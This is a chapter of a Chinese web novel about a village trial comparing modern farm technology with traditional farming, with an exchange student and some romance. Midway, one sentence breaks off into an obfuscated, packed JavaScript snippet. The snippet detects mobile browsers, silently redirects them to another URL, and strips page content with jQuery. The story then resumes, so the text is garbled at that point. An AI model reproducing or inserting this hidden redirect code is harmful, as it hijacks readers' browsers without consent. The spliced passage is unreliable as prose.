32. 第 32 章
作品:《重生女卖农产品致富》 沈父的“现代农业观察点”挂牌那天,云溪镇下了场小雨。
牌子是沈逸尘亲手刻的——块老樟木板,用烧红的铁条烫出字:“云溪现代农业研究示范基地”。挂在村东头那间改造好的老房子门口,衬着青瓦白墙,颇有几分雅致。
但来观礼的村民们,看着屋里那些奇奇怪怪的设备,表情都有些微妙。
“这是土壤分析仪,能测出土壤的PH值、氮磷钾含量……”沈父兴致勃勃地介绍。
“这是智能灌溉系统,手机就能控制……”
“这是无人机,可以用来洒药、监测作物长势……”
陈老爷子拄着拐杖,绕着无人机转了三圈,眉头皱得能夹死苍蝇:“这铁鸟……能种地?”
“不是种地,是帮忙。”沈父耐心解释,“比如洒农药,人背着喷雾器一天洒十亩,无人机一小时就能洒五十亩,还更均匀。”
张老三蹲在地上看土壤分析仪的数据屏,屏幕上花花绿绿的曲线他一个也看不懂:“这玩意儿……能比咱们的手摸鼻子闻准?”
李大婶更直接:“机器种出来的菜,能有灵魂吗?王奶奶说过,腌菜要用手揉,揉进去的是心意。机器揉的,那叫搅拌!”
眼看气氛不对,梁云诗赶紧打圆场:“爸,要不咱们先做个试验?划一块地,用新技术种;另一块地,按老方法种。秋天收了比比看。”
“这个主意好!”沈父点头,“实践出真知。”
试验田选在合作社基地边上,十亩地一分为二。一边由沈父带着几个年轻村民操作,一边由陈老爷子、张老三这些老把式负责。
沈逸尘悄悄对梁云诗说:“咱爸这是要跟全村老把式‘比武’啊。”
“比就比呗。”梁云诗笑,“输赢不重要,重要的是让大家看到,新东西不一定坏,老东西不一定过时。”
---
就在试验田准备开耕时,山本莉娜又来了。
这次她不是跟着爷爷来的,是以“中日农业交流交换生”的身份,要在云溪镇住三个月。她拖着一个大行李箱,里面一半是衣服,一半是各种日本农业书籍和种子。
“我想学习中国的传统农业。”山本莉娜中文进步了不少,“也想看看,科技和传统怎么结合。”
合作社给她安排了住处——就在沈父观察点的隔壁。黄弘涛被指定为她的“生活导师”,王强负责教她农活。
第一天早上六点,山本莉娜就穿戴整齐地出现在茶园,手里拿着笔记本。黄弘涛还没睡醒,揉着眼睛带她巡园。
“黄先生,这片茶树的间距是多少?”
“啊?什么间距?”
“就是每棵茶树之间的距离。”山本莉娜蹲下来测量,“在日本,茶树间距很讲究,影响采光和通风……”
黄弘涛困得脑子发懵,随口说:“大概……一胳膊吧。”
“一胳膊?”山本莉娜认真地问,“是多长?请用厘米表示。”
黄弘涛彻底醒了。他这才想起来,眼前这位是东京农业大学的高材生,不是来旅游观光的。
上午采茶时,闹了个笑话。山本莉娜坚持要学习最传统的手工采茶法,但她的手太小,老是掐不好。王强示范了好几次,她还是学不会。
“要这样,”王强抓起她的手,“拇指和食指捏住,轻轻一掐……”
山本莉娜脸红了。黄弘涛在一旁看着,莫名觉得心里不太舒服。
中午吃饭时,山本莉娜对李大婶的酸豆角赞不绝口,但提出了个问题:“李阿姨,您放盐的时候,是用手抓还是用勺子?”
“手抓啊。”李大婶理所当然,“抓一把,掂量掂量就知道够不够。”
“可是这样不精确。”山本莉娜认真地说,“温度、湿度变化,手的感知会有误差。应该用秤……”
李大婶乐了:“闺女,腌菜要是用秤,那还叫手艺吗?那叫配药!”
山本莉娜似懂非懂,在笔记本上记下:“手艺——无法量化的经验。”
下午,她去了沈父的试验田。看到那些设备,她眼睛亮了:“这个我们在学校实验室也有!但用在真正的农田里,我还是第一次见!”
沈父如遇知音,拉着她讲了两个小时。山本莉娜的问题一个接一个,有些专业到沈父都要查资料才能回答。
黄弘涛站在田埂上,看着那一老一少热烈讨论的背影,心里有点不是滋味。王强凑过来:“怎么,吃醋了?”
“瞎说什么。”黄弘涛瞪他。
“还不承认。”王强笑,“不过说真的,人家是大学生,懂的比咱们多正常。你呀,别自卑。”
---
试验田的对比种植开始了。
沈父这边,先是用无人机测绘地形,生成三维地图;然后用土壤分析仪测土质,根据数据精确配肥;播种用的是精量播种机,株距行距分毫不差;智能灌溉系统按时按量浇水,手机App上随时能看数据。
陈老爷子这边,还是老一套:看云识天气,摸土知干湿,播种全凭手感,施肥靠经验。张老三甚至按老黄历选了个“宜耕种”的日子开犁。
两边较着劲,村民们也分成两派。年轻人多往沈父那边跑,觉得新奇有趣;老人多在陈老爷子这边,觉得踏实放心。
山本莉娜成了最忙的人——上午在沈父那边记录数据,下午在陈老爷子那边学习经验,晚上整理笔记。她的笔记本记得密密麻麻,中文日文夹杂,还有手绘的插图。
“我发现一件有趣的事。”有一天晚饭时,她对梁云诗和沈逸尘说,“沈伯伯那边,所有东西都能用数据表示。但陈爷爷这边,很多知识是‘感觉’。比如‘土攥在手里能成团,落地能散开’——这个‘成团’和‘散开’的程度,没有标准。”
“这就是手艺和技术的区别。”梁云诗说,“手艺是经验,是感觉,是代代相传的‘只可意会’。技术是标准,是数据,是可以复制传播的‘可言传’。”
“那哪个更好呢?”山本莉娜问。
“没有更好,只有合适。”沈逸尘接话,“就像做菜,大酒店有标准食谱,但妈妈做的菜永远最好吃。因为妈妈的手艺里,有爱。”
这话说得山本莉娜若有所思。她转头看向黄弘涛:“黄先生,你觉得呢?”
黄弘涛正在埋头吃饭,被问到愣了下:“我?我觉得……都行吧。能种出好庄稼就行。”
“太敷衍了!”王强捅他。
“那你说!”黄弘涛反击。
王强想了想,说:“我觉得吧,机器能让人省力,但省不了心。种地这事,心到了,庄稼才能长得好。”
这话说得朴实,但山本莉娜听懂了。她在笔记本上写:“心到了——中国农民的核心哲学。”
---
转眼一个月过去,试验田里的庄稼长起来了。
沈父那边的玉米,整整齐齐,像列队的士兵,高度几乎一致。陈老爷子这边的玉米,高高低低,参差不齐,但每棵都精神抖擞。
沈父用仪器测了测:“我这边平均株高1.8米,预计亩产600公斤。”
陈老爷子背着手看了看:“我这边嘛……高的有2米,矮的1.5米,亩产……大概550公斤吧。”
数据上沈父赢了。但村民们去看的时候,却更愿意在陈老爷子那边多待会儿。
“你看这叶子,油亮油亮的。”
“这秆子壮实,台风来了刮不倒。”
“这玉米须,颜色正!”
山本莉娜也发现了差异。她做了个实验:从两边各摘一个玉米,煮熟后请村民们盲测。结果——大部分人觉得陈老爷子那边的玉米更甜,更有“玉米味”。
“数据不能完全代表品质。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133893|195596||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她在研究报告里写,“传统种植中的‘不确定性’,可能正是风味物质的来源。”
这个结论让沈父陷入了思考。他找到陈老爷子,两人坐在田埂上聊了一下午。
“老哥,你说我这机器种地,到底差在哪儿?”沈父虚心请教。
陈老爷子抽着旱烟:“不差。就是……太齐整了。你看我那地,有高有矮,有胖有瘦。高的抢阳光,矮的接地气,胖的攒劲儿,瘦的灵活。这就像一家人,有高个子有矮个子,才热闹。”
他指了指远处的山:“老天爷造物,哪有整整齐齐的?树有高矮,花有大小,水有缓急。咱们种地,也得顺着天意。”
沈父恍然大悟。他太追求标准化、数据化,却忘了农业的本质是生命,生命本就多样。
第二天,沈父调整了方案。他不再追求完全统一,而是在智能灌溉系统中加入“随机变量”,让每棵作物喝水的量有细微差别;施肥也不再均匀撒,而是根据每棵作物的实际状况微调。
“这叫‘个性化种植’。”他对山本莉娜解释,“就像中医,一人一方。”
山本莉娜眼睛亮了:“这个思路太棒了!科技不是要取代传统,是要帮助传统更好地实现!”
---
三个月交流期结束前,山本莉娜完成了她的研究报告:《科技与传统的共生——云溪镇的现代农业实践》。
报告最后,她写:“在云溪镇,我看到科技有了温度,传统有了新意。沈伯伯学会了尊重土地的‘脾气’,陈爷爷开始理解数据的‘语言’。黄弘涛先生告诉我,最好的种植是‘用心’,而今天,用心可以通过科技传递得更远更准。”
报告寄回日本后,东京农业大学很重视,决定把云溪镇列为海外实习基地,每年派学生来交流。
临走那天,山本莉娜送给黄弘涛一本日汉农业词典:“黄先生,谢谢你这三个月的照顾。你的日语……进步很大。”
黄弘涛接过词典,发现里面夹着一张书签,书签上手绘着一棵茶树,树下两个小人——一个像他,一个像她。
“我……我会继续学的。”黄弘涛耳朵有点红。
“嗯。”山本莉娜也脸红,“我还会再来的。”
送走山本莉娜,试验田也到了收获的时候。最终测产结果——沈父那边亩产620公斤,陈老爷子那边580公斤。但口感测评,还是陈老爷子那边略胜一筹。
沈父很满意:“产量我赢了,口感你赢了。咱们算平手?”
陈老爷子咧嘴笑:“平手就平手。不过老沈啊,你那套‘个性化种植’,有点意思。明年,咱们再比比?”
“比!”
秋收庆功会上,沈父和陈老爷子坐到了一桌。两人喝着“两岸茶”,聊着明年的种植计划。沈父说想引进日本的水稻品种,陈老爷子说可以试试在茶园里套种中药材。
“这叫优势互补。”沈逸尘对梁云诗说,“咱爸找到了新事业,陈老爷子打开了新思路。”
“最重要的是,”梁云诗看着热闹的会场,“大家明白了——新和旧不是敌人,是伙伴。”
夜深了,梁云诗和沈逸尘在新房的露台上看星星。远处试验田里,智能灌溉系统正在自动浇水,细密的水雾在月光下泛起彩虹般的光。
“沈逸尘,你说一百年后,云溪镇的农业会是什么样?”
“也许无人机成了老农的标配,也许机器人会采茶,也许……”沈逸尘想了想,“但有一点不会变——土地需要人的心,庄稼需要人的爱。”
梁云诗靠在他肩上:“就像咱们的爱情,科技再发达,也需要真心。”
“对。”沈逸尘亲了亲她的额头,“就像我,可以用最先进的设备管理茶园,但爱你这件事,只能用最古老的方式——全心全意。”
月光洒在两人身上,洒在安静的村庄里。

